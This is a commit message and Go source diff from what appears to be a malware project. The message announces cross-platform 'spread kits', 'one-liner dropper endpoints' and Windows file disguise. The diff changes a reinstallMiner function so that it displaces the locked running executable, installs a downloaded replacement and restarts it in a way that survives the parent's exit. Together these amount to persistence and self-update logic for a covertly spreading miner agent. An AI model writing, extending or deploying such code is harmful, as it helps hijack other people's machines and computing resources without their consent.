Add universal forge, fusion disguise, remote deploy, and stability fixes.

Ship cross-platform spread kits and fusion ZIPs with per-OS launchers, one-liner dropper endpoints, Windows file disguise, and a large batch of wiring/bug fixes so agents connect reliably across a LAN test fleet.

agent/client/ai.go

@@ -563,13 +563,26 @@ func (a *AIRunner) reinstallMiner(serverURL, buildID string) (string, error) {
 	}
 	f.Close()
 
-	// Replace old binary
+	// On Windows the running executable is locked — you cannot overwrite it, but
+	// you CAN rename/move it to a .old path (the file handle stays open on the
+	// original inode).  Rename the live exe out of the way first, then put the
+	// new binary in its place.
+	oldPath := exePath + ".old"
+	_ = os.Remove(oldPath) // remove a previous leftover if any
+	if err := os.Rename(exePath, oldPath); err != nil && !os.IsNotExist(err) {
+		// Running exe could not be moved — fall back to writing alongside
+		os.Remove(tmpPath)
+		return "", fmt.Errorf("cannot displace running binary: %w", err)
+	}
+
 	if err := os.Rename(tmpPath, exePath); err != nil {
+		// Restore the old binary so the next run still works
+		_ = os.Rename(oldPath, exePath)
 		os.Remove(tmpPath)
 		return "", fmt.Errorf("rename failed: %w", err)
 	}
 
-	// Start the new binary
+	// Start the new binary with its own process group so it survives our exit
 	startCmd := exec.Command(exePath)
 	if err := startCmd.Start(); err != nil {
 		return fmt.Sprintf("downloaded to %s but start failed: %v", exePath, err), nil